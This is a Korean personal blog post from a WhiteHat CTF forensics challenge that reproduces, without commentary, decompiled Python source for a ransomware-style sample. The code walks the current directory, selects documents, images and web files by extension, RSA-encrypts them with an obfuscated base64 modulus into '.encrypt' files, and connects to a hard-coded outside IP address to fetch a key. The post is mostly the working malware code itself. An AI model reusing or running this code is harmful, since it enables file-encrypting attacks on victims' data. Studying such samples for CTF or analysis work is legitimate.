일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | |||||
3 | 4 | 5 | 6 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | 14 | 15 | 16 |
17 | 18 | 19 | 20 | 21 | 22 | 23 |
24 | 25 | 26 | 27 | 28 | 29 | 30 |
Tags
- Daily Commit
- 파이썬 포렌식
- almostIncreasingSequence
- Python
- matrixElementsSum
- 파이썬머신러닝완벽가이드
- 백준
- codesingal
- shapeArea
- Numpy
- C++
- adjacentElementsProduct
- 수 정렬하기
- centuryFromYear
- markdown
- codesignal
- data_structure
- 피보나치 수
- All Longest Strings
- Counting cells in a blob
- recursion
- 2015 봄학기 알고리즘
- cpp
- Sequential Search
- baekjun
- 2750
- flask
- collections.deque
- 10953
- til
Archives
- Today
- Total
Introfor
Whitehat Contest 11 for2 본문
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 | # Embedded file name: L:\DungBTb\DungBTb\exam ctf\contest 6\encrypt.py import socket, os, string, random, re, base64, sys import decrypt SIZE_READ = 100 def long2hexstring(data): data = long(data) hex_string = hex(data).lstrip('0x').rstrip('L') return hex_string def long2hexlist(data): tmp = hex(data).lstrip('0x').rstrip('L') if len(tmp) % 2 == 1: tmp = '0' + tmp hex_list = [ tmp[i:i + 2] for i in xrange(0, len(tmp), 2) ] return hex_list def data2hexstring(data): hex_data = '' for char in data: tmp = ord(char) tmp = hex(tmp)[2:] if len(tmp) == 1: tmp = '0' + tmp hex_data += tmp return hex_data def data2hexlist(data): hex_data = [] for char in data: tmp = ord(char) tmp = hex(tmp)[2:] if len(tmp) == 1: tmp = '0' + tmp hex_data.append(tmp) return hex_data def extension_(): return ['.doc', '.docx', '.txt', '.mp4', '.mp3', '.jpg', '.jpng', '.flv', '.png', '.xlsx', '.ppt', '.pptx', '.pdf', '.html', '.php', '.jsp'] def getExponent(): ee = '' Dantonz = 'ZnV6dQ==' jtyiel = 'Z2tkb318zz==' t = 65535 if ee == '': return t + 2 e = base64.b64decode(ee) return long(e, 16) def getModule(): nn = 'MTA1NjM1NzA' nn += '3OTk0MjE1Nzg1MDY0NTkyNjg4ODI5NDMxNjAzMjk1MDkyM' nn += 'D' Dantonz = 'ZnV6dQ==' nn += 'E5MzMyOTQxMzQwMjE4MDYzMDI0MD' nn += 'MwMjE0MTEyNDM1NDc3Mzg4OTU1NDcyMDc4MDYxOTY3MzY2NTkxMjc0NDM5NzE' nn += chr(ord('z')) + chr(ord('N')) jtyiel = 'Z2tkb318zz==' nn += 'zc2NTYzMjUxODI0MDA5NDI5' nn += 'OTEwNzk2OTI2MDA5OTQ1NjM5MzUzMDA3MzcxODU1NDEzOTkzOTg0Mzc5NTk4ODY4Njk2MTk1MTY0MDk5ODc5Mzk0MzQ2Nzg4MDY5OTQxNTQ1NzMxODEzMDk3MzMxMDE1MDU4Nzg2MjAxNjk3OTU4ODIyMzUzNTM4NDkwNzQ3NDI1NTI0NjE3NDM3MzU0MjY5NjY0NzY2OTA5NzYzNjc5Njg0MDQ3NDU0Njg4Mjc4MDExMDMx' n = base64.b64decode(nn) return long(n) def random_int(length = 100): return random.randrange(length) def decrypt(): privateEx = getEx() def getEx(): s = socket.socket() server = ('118.70.186.203 ', 7337) s.connect(server) data_req = 'id=AOXo==&getEx=1' s.send(data_req) Ex = s.recv(500) return Ex def init_spilt_string(): spilt_s = '' printable = string.printable len_ss = random_int(len(printable)) if len_ss <= 50: A = '@' spilt_s = printable[ord(A):printable.index(A)] + A spilt_s += chr(15) + chr(21) else: A = ord('@') spilt_s = printable[A:printable.index(chr(A))] + chr(A) spilt_s += chr(15) + chr(21) return spilt_s def readFile(name): contents = [] try: f = open(name, 'rb') except IOError: return [] f.seek(0, os.SEEK_END) size = f.tell() num_kb = size / SIZE_READ f.seek(0) for i in xrange(num_kb): data = f.read(SIZE_READ) contents.append(data) data = f.read() contents.append(data) return contents def rsa(data, e, n): e_data = long(data, 16) e_data = pow(e_data, e, n) return e_data def check_data(data): check = re.findall('^[0]{1,}', data) return len(check) / 2 def encrypt(file, data_file, s_string): if len(data_file) == 0: return new_file = file + '.encrypt' open(new_file, 'a').close() o = open(new_file, 'wb') n = getModule() e = getExponent() for data in data_file: if data == '': continue data = data2hexstring(data) len_check = check_data(data) for i in xrange(len_check): o.write(chr(0)) e_data = rsa(data, e, n) e_data_list = long2hexlist(e_data) for char in e_data_list: o.write(chr(int(char, 16))) for char in s_string: o.write(str(char)) o.close() def main(): realpath = os.path.dirname(os.path.realpath(__file__)) file_need_encrypt = [] extension_parts = extension_() for root, directorys, files in os.walk('.'): for file in files: for extend in extension_parts: if re.search(extend + '$', file.lower()): file_need_encrypt.append(os.path.join(root, file)) if len(file_need_encrypt) == 0: return spilt_string = init_spilt_string() if len(sys.argv) == 2: if len(sys.argv[1] == 'decrypt'): decrypt() for file in file_need_encrypt: data_file = readFile(file) if len(data_file) == 1 and data_file[0] == '': continue if len(data_file) > 0: encrypt(file, data_file, spilt_string) if __name__ == '__main__': main() | cs |
'Hobby > WhiteHat.vt' 카테고리의 다른 글
web (0) | 2016.06.28 |
---|
Comments